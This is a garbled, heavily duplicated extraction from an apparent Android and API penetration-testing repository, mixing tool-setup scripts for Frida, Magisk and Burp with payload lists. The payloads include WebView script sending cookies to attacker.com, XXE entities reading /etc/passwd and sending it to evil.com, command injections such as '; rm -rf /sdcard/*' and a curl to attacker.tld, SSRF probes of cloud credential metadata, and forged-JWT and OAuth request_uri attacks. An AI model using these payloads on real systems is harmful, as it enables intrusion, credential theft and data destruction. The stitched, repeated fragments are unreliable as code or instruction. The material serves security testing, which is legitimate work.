hardw00t/ai-security-arsenal

## Related Resources - [OWASP MASTG](https://mas.owasp.org/MASTG/) • [OWASP MASVS](https://mas.owasp.org/MASVS/) • [Frida docs](https://frida.re/docs/) • [Android Security Bulletin](https://source.android.com/security/bulletin)

- [OWASP MASTG](https://mas.owasp.org/MASTG/) • [OWASP MASVS](https://mas.owasp.org/MASVS/) • [Frida docs](https://frida.re/docs/) • [Android Security Bulletin](https://source.android.com/security/bulletin)

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

// Call exposed JavaScript interface var result = AndroidInterface.getSensitiveData(); new Image().src = 'http://attacker.com/?data=' + result;

var result = AndroidInterface.getSensitiveData(); new Image().src = 'http://attacker.com/?data=' + result; </script>

new Image().src = 'http://attacker.com/?data=' + result;

# Open redirect     "targetapp://redirect?url=http://evil.com",

"targetapp://redirect?url=http://evil.com",

extras={"command": "; rm -rf /sdcard/*"})

[Credential-related source omitted]

# Upload APK via web interface at http://localhost:8000

query=' OR '1'='1 search=<script>alert(1)</script> redirect=http://evil.com

search=<script>alert(1)</script> redirect=http://evil.com callback=javascript:alert(1)

redirect=http://evil.com

# URL/URI Extras url=javascript:alert(document.cookie) link=http://evil.com

url=javascript:alert(document.cookie) link=http://evil.com redirect_uri=http://evil.com/callback

link=http://evil.com

redirect_uri=http://evil.com/callback

callback_url=javascript:document.location='http://evil.com/?c='+document.cookie

action=test; rm -rf /sdcard/*

# Deep Link Data URIs targetapp://login?redirect=http://evil.com

targetapp://login?redirect=http://evil.com

# Notification Payloads title=<script>alert(1)</script> message=Click here: http://evil.com

title=<script>alert(1)</script> message=Click here: http://evil.com notification_action=javascript:alert(1)

message=Click here: http://evil.com

# OAuth/Auth Redirect redirect_uri=http://evil.com/callback

redirect_uri=http://evil.com/callback

[Credential-related source omitted]

victimapp://payment/confirm?order=1&status=ok victimapp://link-account?provider=google&next=https://attacker.tld/ #

victimapp://link-account?provider=google&next=https://attacker.tld/

# # HTTP App-Links (check assetlinks.json before concluding; App-Link bypass): https://target.tld/.well-known/assetlinks.json

# HTTP App-Links (check assetlinks.json before concluding; App-Link bypass): https://target.tld/.well-known/assetlinks.json https://target.tld/oauth/callback?code=X

https://target.tld/.well-known/assetlinks.json https://target.tld/oauth/callback?code=X # Probe: curl the above assetlinks.json and confirm package_name, sha256_cert_fingerprints,

https://target.tld/oauth/callback?code=X # Probe: curl the above assetlinks.json and confirm package_name, sha256_cert_fingerprints, # and relation="delegate_permission/common.handle_all_urls". Missing/wrong = App-Link flag

# Probe: curl the above assetlinks.json and confirm package_name, sha256_cert_fingerprints,

[Credential-related source omitted]

[Credential-related source omitted]

victimapp://browse?url=data:text/html,<script>AndroidBridge.exfil(document.cookie)</script> victimapp://web?url=file:///data/data/com.victim.app/shared_prefs/auth.xml victimapp://view?url=https://attacker.tld/xss.html#payload=<svg/onload=al

victimapp://web?url=file:///data/data/com.victim.app/shared_prefs/auth.xml victimapp://view?url=https://attacker.tld/xss.html#payload=<svg/onload=alert(1)> # If setJavaScriptEnabled(true) and @JavascriptInterface exists, reflect the

victimapp://view?url=https://attacker.tld/xss.html#payload=<svg/onload=alert(1)>

# File Access <script>var x=new XMLHttpRequest();x.open('GET','file:///etc/passwd');x.send();</script> <script>fetch('file:///data/data/com.app/shared_prefs/auth.xml')</script>

<script>fetch('file:///data/data/com.app/shared_prefs/auth.xml')</script>

# Cookie Exfiltration <script>new Image().src='http://attacker.com/?c='+document.cookie</script>

<script>new Image().src='http://attacker.com/?c='+document.cookie</script>

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">

<!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">   %xxe;

<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">

# evil.dtd content: # <!ENTITY % file SYSTEM "file:///etc/passwd"> # <!ENTITY % eval "<!ENTITY send SYSTEM 'http://evil.com/?data=%file;'>">

# <!ENTITY % file SYSTEM "file:///etc/passwd"> # <!ENTITY % eval "<!ENTITY send SYSTEM 'http://evil.com/?data=%file;'>"> # %eval;

# <!ENTITY % eval "<!ENTITY send SYSTEM 'http://evil.com/?data=%file;'>">

# <!ENTITY % eval "<!ENTITY send SYSTEM 'http://evil.com/?data=%file;'>">

<!DOCTYPE foo [   <!ENTITY % file SYSTEM "file:///etc/passwd">   <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">

<!ENTITY % file SYSTEM "file:///etc/passwd">   <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">   %dtd;

<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">

<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">

# XXE via XInclude <foo xmlns:xi="http://www.w3.org/2001/XInclude">

<foo xmlns:xi="http://www.w3.org/2001/XInclude">

<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg">

]> <svg xmlns="http://www.w3.org/2000/svg">   <text>&xxe;</text>

<svg xmlns="http://www.w3.org/2000/svg">

<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">

]> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">   <soap:Body>

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">

| grep -E '<intent-filter|<data|android:scheme|android:host|android:autoVerify'   # If autoVerify="true" → confirm assetlinks.json exists & is correct:   curl -sSf https://host.tld/.well-known/assetlinks.json | jq .

# If autoVerify="true" → confirm assetlinks.json exists & is correct:   curl -sSf https://host.tld/.well-known/assetlinks.json | jq .   # Dynamic: use Frida to hook Intent.getData() in callback activity

curl -sSf https://host.tld/.well-known/assetlinks.json | jq .

[Credential-related source omitted]

- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)

- [OWASP MASTG](https://mas.owasp.org/MASTG/)

- [OWASP MASVS](https://mas.owasp.org/MASVS/)

#!/usr/bin/env python3

{   "$schema": "http://json-schema.org/draft-07/schema#",

"$schema": "http://json-schema.org/draft-07/schema#",

"$id": "https://android-pentest.schema/finding.json",

{           "title": "EncryptedSharedPreferences Documentation",           "url": "https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences"

"title": "EncryptedSharedPreferences Documentation",           "url": "https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences"         },

"url": "https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences"

{           "title": "OWASP MASTG - Testing Local Storage",           "url": "https://mas.owasp.org/MASTG/Android/0x05d-Testing-Data-Storage/"

"title": "OWASP MASTG - Testing Local Storage",           "url": "https://mas.owasp.org/MASTG/Android/0x05d-Testing-Data-Storage/"         }

"url": "https://mas.owasp.org/MASTG/Android/0x05d-Testing-Data-Storage/"

{           "title": "Android Cryptography Guide",           "url": "https://developer.android.com/guide/topics/security/cryptography"

"title": "Android Cryptography Guide",           "url": "https://developer.android.com/guide/topics/security/cryptography"         },

"url": "https://developer.android.com/guide/topics/security/cryptography"

{           "title": "OWASP Cryptographic Failures",           "url": "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"

"title": "OWASP Cryptographic Failures",           "url": "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"         }

"url": "https://owasp.org/Top10/A02_2021-Cryptographic_Failures/"

{           "title": "Network Security Configuration",           "url": "https://developer.android.com/training/articles/security-config"

"title": "Network Security Configuration",           "url": "https://developer.android.com/training/articles/security-config"         },

"url": "https://developer.android.com/training/articles/security-config"

{           "title": "OkHttp Certificate Pinning",           "url": "https://square.github.io/okhttp/features/https/#certificate-pinning"

"title": "OkHttp Certificate Pinning",           "url": "https://square.github.io/okhttp/features/https/#certificate-pinning"         }

"url": "https://square.github.io/okhttp/features/https/#certificate-pinning"

{           "title": "Android App Components Security",           "url": "https://developer.android.com/guide/topics/manifest/activity-element#exported"

"title": "Android App Components Security",           "url": "https://developer.android.com/guide/topics/manifest/activity-element#exported"         },

"url": "https://developer.android.com/guide/topics/manifest/activity-element#exported"

{           "title": "OWASP MASTG - Testing Platform Interaction",           "url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/"

"title": "OWASP MASTG - Testing Platform Interaction",           "url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/"         }

"url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/"

{           "title": "Android Room Persistence Library",           "url": "https://developer.android.com/training/data-storage/room"

"title": "Android Room Persistence Library",           "url": "https://developer.android.com/training/data-storage/room"         },

"url": "https://developer.android.com/training/data-storage/room"

{           "title": "OWASP SQL Injection Prevention",           "url": "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"

"title": "OWASP SQL Injection Prevention",           "url": "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"         }

"url": "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"

{           "title": "Configure Build Variants",           "url": "https://developer.android.com/studio/build/build-variants"

"title": "Configure Build Variants",           "url": "https://developer.android.com/studio/build/build-variants"         }

"url": "https://developer.android.com/studio/build/build-variants"

{           "title": "Back Up User Data",           "url": "https://developer.android.com/guide/topics/data/autobackup"

"title": "Back Up User Data",           "url": "https://developer.android.com/guide/topics/data/autobackup"         }

"url": "https://developer.android.com/guide/topics/data/autobackup"

{           "title": "Network Security Configuration",           "url": "https://developer.android.com/training/articles/security-config"

"title": "Network Security Configuration",           "url": "https://developer.android.com/training/articles/security-config"         }

"url": "https://developer.android.com/training/articles/security-config"

{           "title": "Biometric Authentication",           "url": "https://developer.android.com/training/sign-in/biometric-auth"

"title": "Biometric Authentication",           "url": "https://developer.android.com/training/sign-in/biometric-auth"         },

"url": "https://developer.android.com/training/sign-in/biometric-auth"

{           "title": "Android Keystore System",           "url": "https://developer.android.com/training/articles/keystore"

"title": "Android Keystore System",           "url": "https://developer.android.com/training/articles/keystore"         }

"url": "https://developer.android.com/training/articles/keystore"

{           "title": "WebView Security Best Practices",           "url": "https://developer.android.com/develop/ui/views/layout/webapps/webview"

"title": "WebView Security Best Practices",           "url": "https://developer.android.com/develop/ui/views/layout/webapps/webview"         },

"url": "https://developer.android.com/develop/ui/views/layout/webapps/webview"

{           "title": "OWASP WebView Guidelines",           "url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/#testing-webview-protocol-handlers-mstg-platform-6"

"title": "OWASP WebView Guidelines",           "url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/#testing-webview-protocol-handlers-mstg-platform-6"         }

"url": "https://mas.owasp.org/MASTG/Android/0x05h-Testing-Platform-Interaction/#testing-webview-protocol-handlers-mstg-platform-6"

{           "title": "Remove Log Statements",           "url": "https://developer.android.com/studio/build/shrink-code"

"title": "Remove Log Statements",           "url": "https://developer.android.com/studio/build/shrink-code"         }

"url": "https://developer.android.com/studio/build/shrink-code"

[Credential-related source omitted]

[Credential-related source omitted]

{           "title": "Secure Secret Storage",           "url": "https://developer.android.com/training/articles/keystore"

"title": "Secure Secret Storage",           "url": "https://developer.android.com/training/articles/keystore"         }

"url": "https://developer.android.com/training/articles/keystore"

{           "title": "SecureRandom Documentation",           "url": "https://developer.android.com/reference/java/security/SecureRandom"

"title": "SecureRandom Documentation",           "url": "https://developer.android.com/reference/java/security/SecureRandom"         }

"url": "https://developer.android.com/reference/java/security/SecureRandom"

{           "title": "Path Traversal Prevention",           "url": "https://owasp.org/www-community/attacks/Path_Traversal"

"title": "Path Traversal Prevention",           "url": "https://owasp.org/www-community/attacks/Path_Traversal"         }

"url": "https://owasp.org/www-community/attacks/Path_Traversal"

{           "title": "Intent Security",           "url": "https://developer.android.com/guide/components/intents-filters#Receiving"

"title": "Intent Security",           "url": "https://developer.android.com/guide/components/intents-filters#Receiving"         }

"url": "https://developer.android.com/guide/components/intents-filters#Receiving"

#!/usr/bin/env python3

#!/usr/bin/env python3

<title>{{ report.title }} - Executive Summary</title>     <link rel="stylesheet" href="styles.css">     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<link rel="stylesheet" href="styles.css">     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>     <style>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<title>{{ report.title }} - Technical Report</title>     <link rel="stylesheet" href="styles.css">     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<link rel="stylesheet" href="styles.css">     <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> </head>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<h3>B. References</h3>             <ul>                 <li><a href="https://mas.owasp.org/">OWASP Mobile Application Security</a></li>

<ul>                 <li><a href="https://mas.owasp.org/">OWASP Mobile Application Security</a></li>                 <li><a href="https://developer.android.com/training/articles/security-tips">Android Security Best Practices</a></li>

<li><a href="https://mas.owasp.org/">OWASP Mobile Application Security</a></li>

<li><a href="https://developer.android.com/training/articles/security-tips">Android Security Best Practices</a></li>

<li><a href="https://www.first.org/cvss/calculator/3.1">CVSS 3.1 Calculator</a></li>

{   "$schema": "https://json-schema.org/draft/2020-12/schema",

"$schema": "https://json-schema.org/draft/2020-12/schema",

#!/bin/bash

#!/usr/bin/env python3

Executable file

#!/usr/bin/env python3

#!/usr/bin/env python3

Executable file

Executable file

Executable file

Executable file

#!/usr/bin/env bash

rm -rf "$TEMP_DIR" 2>/dev/null || true

# Check curl (for Burp export)

if $EXPORT_FROM_BURP && ! command -v curl &>/dev/null; then

log_error "curl is required for Burp export"

log_verbose "Downloading from http://$BURP_HOST:$BURP_PORT/cert"

if ! curl -sS --connect-timeout 5 \

-x "http://$BURP_HOST:$BURP_PORT" \

"http://burp/cert" \

if ! curl -sS --connect-timeout 5 \

"http://$BURP_HOST:$BURP_PORT/cert" \

rm -rf "$TEMP_APEX"

local test_url="https://www.google.com"

if curl -sS --connect-timeout 5 \

--proxy "http://$BURP_HOST:$BURP_PORT" \

#!/usr/bin/env python3

"linux": "sudo apt install adb",

"darwin": "brew install apktool",                 "linux": "sudo apt install apktool",                 "all": "Download from https://ibotpeaches.github.io/Apktool/"

"linux": "sudo apt install apktool",

"linux": "sudo apt install apktool",                 "all": "Download from https://ibotpeaches.github.io/Apktool/"             },

"all": "Download from https://ibotpeaches.github.io/Apktool/"

"install": {                 "darwin": "brew install jadx",                 "linux": "Download from https://github.com/skylot/jadx",

"darwin": "brew install jadx",                 "linux": "Download from https://github.com/skylot/jadx",                 "all": "Download from https://github.com/skylot/jadx"

"linux": "Download from https://github.com/skylot/jadx",

"all": "Download from https://github.com/skylot/jadx"

"description": "Dex to JAR converter",             "install": {                 "all": "Download from https://github.com/pxb1988/dex2jar"

"install": {                 "all": "Download from https://github.com/pxb1988/dex2jar"             },

"all": "Download from https://github.com/pxb1988/dex2jar"

"linux": "sudo apt install openssl"

try:             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

[Credential-related source omitted]

Executable file

curl \

wget \

vim      && rm -rf /var/lib/apt/lists/*

&& rm -rf /var/lib/apt/lists/*

RUN mkdir -p ${ANDROID_SDK_ROOT}/cmdline-tools &&      cd ${ANDROID_SDK_ROOT}/cmdline-tools &&      wget -q "https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip" -O tools.zip &&      unzip -q tools.zip &&    

RUN mkdir -p ${ANDROID_SDK_ROOT}/cmdline-tools && \     cd ${ANDROID_SDK_ROOT}/cmdline-tools && \     wget -q "https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip" -O tools.zip && \

cd ${ANDROID_SDK_ROOT}/cmdline-tools && \     wget -q "https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip" -O tools.zip && \     unzip -q tools.zip && \

wget -q "https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip" -O tools.zip && \

rm tools.zip && \

RUN mkdir -p /opt/frida && \     cd /opt/frida && \     wget -q "https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/frida-server-${FRIDA_VERSION}-android-x86_64.xz" && \

cd /opt/frida && \     wget -q "https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/frida-server-${FRIDA_VERSION}-android-x86_64.xz" && \     xz -d frida-server-${FRIDA_VERSION}-android-x86_64.xz && \

wget -q "https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/frida-server-${FRIDA_VERSION}-android-x86_64.xz" && \

#!/bin/bash

#!/bin/bash

rm /tmp/frida-init.sh

#!/bin/bash

#!/usr/bin/env python3

[Credential-related source omitted]

try:             url = "https://api.github.com/repos/frida/frida/releases/latest"             with urllib.request.urlopen(url, timeout=10) as response:

url = "https://api.github.com/repos/frida/frida/releases/latest"             with urllib.request.urlopen(url, timeout=10) as response:                 data = json.loads(response.read())

with urllib.request.urlopen(url, timeout=10) as response:

filename = f"frida-server-{version}-android-{arch}.xz"         url = f"https://github.com/frida/frida/releases/download/{version}/{filename}"

url = f"https://github.com/frida/frida/releases/download/{version}/{filename}"

try:             urllib.request.urlretrieve(url, download_path)

urllib.request.urlretrieve(url, download_path)

self._adb_shell(f"rm -f {self.FRIDA_PID_PATH}", serial=device.serial)

#!/sbin/sh

rm -rf $TMPDIR 2>/dev/null

rm -rf $MODPATH 2>/dev/null

rm -rf $TMPDIR

#!/usr/bin/env bash

trap "rm -rf $BUILD_DIR" EXIT

FRIDA_VERSION=$(curl -sL "https://api.github.com/repos/frida/frida/releases/latest" | \

log_info "  Downloading for $arch..."         filename="frida-server-${FRIDA_VERSION}-android-${arch}.xz"         url="https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/${filename}"

url="https://github.com/frida/frida/releases/download/${FRIDA_VERSION}/${filename}"

if curl -sL "$url" -o "$BUILD_DIR/${filename}"; then

#!/system/bin/sh

rm -f /data/local/tmp/frida-server.pid

#!/system/bin/sh

rm -f /data/local/tmp/pentest-toolkit.log

rm -f /data/local/tmp/frida-server.pid

#!/system/bin/sh

rm -rf "$temp_cacerts"

#!/system/bin/sh

local version=$(wget -qO- "https://api.github.com/repos/frida/frida/releases/latest" 2>/dev/null | \

local filename="frida-server-${version}-android-${arch}.xz"     local url="https://github.com/frida/frida/releases/download/${version}/${filename}"

local url="https://github.com/frida/frida/releases/download/${version}/${filename}"

if wget -q "$url" -O "$download_path" 2>/dev/null; then

#!/usr/bin/env python3

[Credential-related source omitted]

magisk_url = "https://github.com/topjohnwu/Magisk/releases/latest/download/Magisk-v28.0.apk"

try:             self._log("Downloading Magisk...", "DEBUG")             urllib.request.urlretrieve(magisk_url, magisk_apk)

self._log("Downloading Magisk...", "DEBUG")             urllib.request.urlretrieve(magisk_url, magisk_apk)         except Exception as e:

urllib.request.urlretrieve(magisk_url, magisk_apk)

if version == "latest":             try:                 with urllib.request.urlopen(

try:                 with urllib.request.urlopen(                     "https://api.github.com/repos/frida/frida/releases/latest"

with urllib.request.urlopen(

"https://api.github.com/repos/frida/frida/releases/latest"

filename = f"frida-server-{version}-android-{frida_arch}.xz"         url = f"https://github.com/frida/frida/releases/download/{version}/{filename}"

url = f"https://github.com/frida/frida/releases/download/{version}/{filename}"

try:             self._log(f"Downloading from: {url}", "DEBUG")             urllib.request.urlretrieve(url, download_path)

urllib.request.urlretrieve(url, download_path)

import socket         try:             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)             sock.connect(("localhost", port))

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env bash

if ! command -v docker &>/dev/null; then         log_error "Docker not installed"         log_info "Install Docker from: https://docs.docker.com/get-docker/"

log_error "Docker not installed"         log_info "Install Docker from: https://docs.docker.com/get-docker/"         exit 1

log_info "Install Docker from: https://docs.docker.com/get-docker/"

#!/usr/bin/env bash

rm -rf "$TEMP_DIR" 2>/dev/null || true

log_info "  Linux: sudo apt install adb"

local version     version=$(curl -sL "https://api.github.com/repos/frida/frida/releases/latest" | \

version=$(curl -sL "https://api.github.com/repos/frida/frida/releases/latest" | \

local filename="frida-server-${version}-android-${arch}.xz"     local url="https://github.com/frida/frida/releases/download/${version}/${filename}"

local url="https://github.com/frida/frida/releases/download/${version}/${filename}"

if ! curl -sL "$url" -o "$TEMP_DIR/$filename"; then

rm -f "$FRIDA_PID_FILE"

declare -A APPS=(         ["drozer"]="https://github.com/WithSecureLabs/drozer/releases/latest/download/drozer-agent.apk"

["drozer"]="https://github.com/WithSecureLabs/drozer/releases/latest/download/drozer-agent.apk"

if [[ "$url" == *"/latest/"* ]]; then             url=$(curl -sLI -o /dev/null -w '%{url_effective}' "$url" 2>/dev/null || echo "$url")

url=$(curl -sLI -o /dev/null -w '%{url_effective}' "$url" 2>/dev/null || echo "$url")

if curl -sL "$url" -o "$apk_path" 2>/dev/null; then

- [OWASP MASTG - Testing Local Storage](https://mas.owasp.org/MASTG/...)

- [Android Security Documentation](https://developer.android.com/security/...)

[Credential-related source omitted]

- [OWASP MASTG](https://mas.owasp.org/MASTG/)

- [Android Security Documentation](https://developer.android.com/security)

- [Android Keystore System](https://developer.android.com/training/articles/keystore)

- [EncryptedSharedPreferences](https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences)

Executable file

#!/usr/bin/env python3

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

def __init__(self, server_url: str = "http://localhost:8000"):

#!/usr/bin/env python3

{'user_id': -1},                     {'bypass_auth': True},                     {'redirect': 'http://evil.com'},

{'bypass_auth': True},                     {'redirect': 'http://evil.com'},                     {'file': '../../../etc/passwd'},

{'redirect': 'http://evil.com'},

deeplink_payloads = [             '?redirect=http://evil.com',

'?redirect=http://evil.com',

redirect_url = f"{deep_link}?redirect=http://evil.com"

#!/usr/bin/env python3

decoded = base64.b64decode(match)

[Credential-related source omitted]

[Credential-related source omitted]

#!/usr/bin/env python3

launch_activity("com.target.app", ".WebViewActivity",                 extras={"url": "javascript:document.location='http://evil.com/?c='+document.cookie"})

extras={"url": "javascript:document.location='http://evil.com/?c='+document.cookie"})

extras={"command": "; rm -rf /sdcard/*"})

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

| Tool         | Purpose                   | Install                                                          | |--------------|---------------------------|------------------------------------------------------------------| | Burp Suite   |

|--------------|---------------------------|------------------------------------------------------------------| | Burp Suite   | HTTP intercept            | https://portswigger.net/burp                                     | | ffuf         |

| Burp Suite   | HTTP intercept            | https://portswigger.net/burp                                     |

| grpcurl      | gRPC CLI                  | `go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest`  | | arjun        | Parameter discovery       | `pip install arjun`                                              | | kiterunner   |

| kiterunner   | API route discovery       | https://github.com/assetnote/kiterunner/releases                 |

[Credential-related source omitted]

"references": [     "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",     "https://cwe.mitre.org/data/definitions/639.html"

"https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",

"https://cwe.mitre.org/data/definitions/639.html"

"remediation": "Enforce per-object authorization in resolvers. updateUser must verify the caller is either the target user or has administrative rights. Prefer centralizing checks with a GraphQL Shield / authorization directive rather than 

"references": [     "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",     "https://cwe.mitre.org/data/definitions/639.html"

"https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",

"https://cwe.mitre.org/data/definitions/639.html"

"remediation": "Configure JWT library to reject alg=none and enforce an allowlist of expected algorithms (e.g. RS256 only). Validate alg matches the key type before verifying.",   "references": [     "https://owasp.org/API-Security/editions

"references": [     "https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/",     "https://cwe.mitre.org/data/definitions/347.html",

"https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/",

"https://cwe.mitre.org/data/definitions/347.html",

"https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"

`/.well-known/openapi.json`, `/v1/api-docs`, `/v2/api-docs`, `/api/schema`,    `/api/docs`, `/docs/api.json`, `/api-docs.json`. 2. **Client reverse engineering** — grep JS bundles for `fetch(`, `axios(`,

`/api/docs`, `/docs/api.json`, `/api-docs.json`. 2. **Client reverse engineering** — grep JS bundles for `fetch(`, `axios(`,    `apollo`, `gql\``, URLs. Mobile apps often have embedded `.proto` or

2. **Client reverse engineering** — grep JS bundles for `fetch(`, `axios(`,

[Credential-related source omitted]

[Credential-related source omitted]

GET /oauth/callback?code=ATTACKER_CODE&state=VICTIM_STATE HTTP/1.1   Host: target.tld   Origin: https://target.tld.attacker.tld

Host: target.tld   Origin: https://target.tld.attacker.tld   Referer: https://target.tld/settings/link?next=/admin

Origin: https://target.tld.attacker.tld

Referer: https://target.tld/settings/link?next=/admin

curl -s "https://idp.target/authorize?client_id=X&request_uri=https://attacker.tld/jwt.jwt"

- Host a JWT at `attacker.tld/jwt.jwt` signed with an attacker key or `alg:none`.   - If the IdP issues a code/token the JAR signature is not being enforced.   - Fuzz `request_uri` with SSRF variants (`file://`, `http://169.254.169.254/`, `

- If the IdP issues a code/token the JAR signature is not being enforced.   - Fuzz `request_uri` with SSRF variants (`file://`, `http://169.254.169.254/`, `gopher://`). - **Exploitation / PoC:**

- Fuzz `request_uri` with SSRF variants (`file://`, `http://169.254.169.254/`, `gopher://`).

// JWT hosted at attacker-controlled request_uri   { "iss":"attacker","aud":"idp","client_id":"victim","redirect_uri":"https://attacker.tld/cb",

{ "iss":"attacker","aud":"idp","client_id":"victim","redirect_uri":"https://attacker.tld/cb",

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

https://target.tld/login/callback?next=javascript:document.cookie='jwt='+FORGED

curl -X POST https://api.target/oauth/token \

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

; cat /etc/passwd %0Aid | curl http://attacker.tld/`hostname`

%0Aid | curl http://attacker.tld/`hostname` {"cmd": "; ls -la"}

| curl http://attacker.tld/`hostname`

# ====== SSRF ====== http://127.0.0.1

http://127.0.0.1

http://127.0.0.1:22

http://localhost

http://[::1]

http://0.0.0.0

http://0177.0.0.1

http://2130706433

http://127.127.127.127

# Cloud metadata http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/iam/security-credentials/

http://metadata.google.internal/computeMetadata/v1/

http://169.254.169.254/metadata/v1/

http://100.100.100.200/latest/meta-data/

# Internal services http://internal-api:8080/admin

http://internal-api:8080/admin

http://redis:6379

http://elasticsearch:9200/_cat/indices

http://prometheus:9090

# URL parser tricks http://evil.tld@127.0.0.1/

http://evil.tld@127.0.0.1/

http://127.0.0.1#.evil.tld

http://127.0.0.1%2f.evil.tld

http://127.0.0.1./

# ====== XXE (if XML accepted) ====== <?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r> <?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://attacker.tld/x.dtd">%x;]><r/>

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://attacker.tld/x.dtd">%x;]><r/>

# --- jku / x5u header injection --- {"alg":"RS256","jku":"https://attacker.tld/jwks.json","typ":"JWT"}

{"alg":"RS256","jku":"https://attacker.tld/jwks.json","typ":"JWT"}

{"alg":"RS256","jku":"https://target.tld@attacker.tld/jwks.json"}

{"alg":"RS256","jku":"https://target.tld.attacker.tld/jwks.json"}

{"alg":"RS256","x5u":"https://attacker.tld/cert.pem"}

# Remove exp entirely # Issuer confusion {"iss":"https://attacker.tld"}

{"iss":"https://attacker.tld"}

# Test IdP endpoints that accept JAR / request_uri with attacker-hosted JWT. # IdP must (but often doesn't) validate the JWT signature + aud + iss + registered client_id. # Curl probe:

# IdP must (but often doesn't) validate the JWT signature + aud + iss + registered client_id. # Curl probe: # curl -s "https://idp.target/authorize?client_id=X&request_uri=https://attacker.tld/jar.jwt"

# Curl probe:

# curl -s "https://idp.target/authorize?client_id=X&request_uri=https://attacker.tld/jar.jwt"

# JWT payload hosted at attacker-controlled request_uri: {"iss":"attacker","aud":"idp","client_id":"victim","redirect_uri":"https://attacker.tld/cb","response_type":"code","scope":"openid profile email","nonce":"FIXED","state":"ATTACKER"} #

{"iss":"attacker","aud":"idp","client_id":"victim","redirect_uri":"https://attacker.tld/cb","response_type":"code","scope":"openid profile email","nonce":"FIXED","state":"ATTACKER"}

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# https://target.tld/login/callback?next=javascript:document.cookie='jwt='+FORGED

[Credential-related source omitted]

[Credential-related source omitted]

`https://owasp.org/API-Security/editions/2023/en/0x00-header/`

| Tool       | Purpose                           | Install                                                     | |------------|-----------------------------------|-------------------------------------------------------------| | Burp Suite |

|------------|-----------------------------------|-------------------------------------------------------------| | Burp Suite | HTTP intercept / repeater / intruder | https://portswigger.net/burp                            | | mitmproxy  | 

| Burp Suite | HTTP intercept / repeater / intruder | https://portswigger.net/burp                            |

| mitmproxy  | Scriptable HTTP intercept         | `pip install mitmproxy`                                     | | Postman    | Manual API testing / collections  | https://postman.com                                         | | HTTPie     |

| Postman    | Manual API testing / collections  | https://postman.com                                         |

| HTTPie     | Readable curl replacement         | `pip install httpie`                                        |

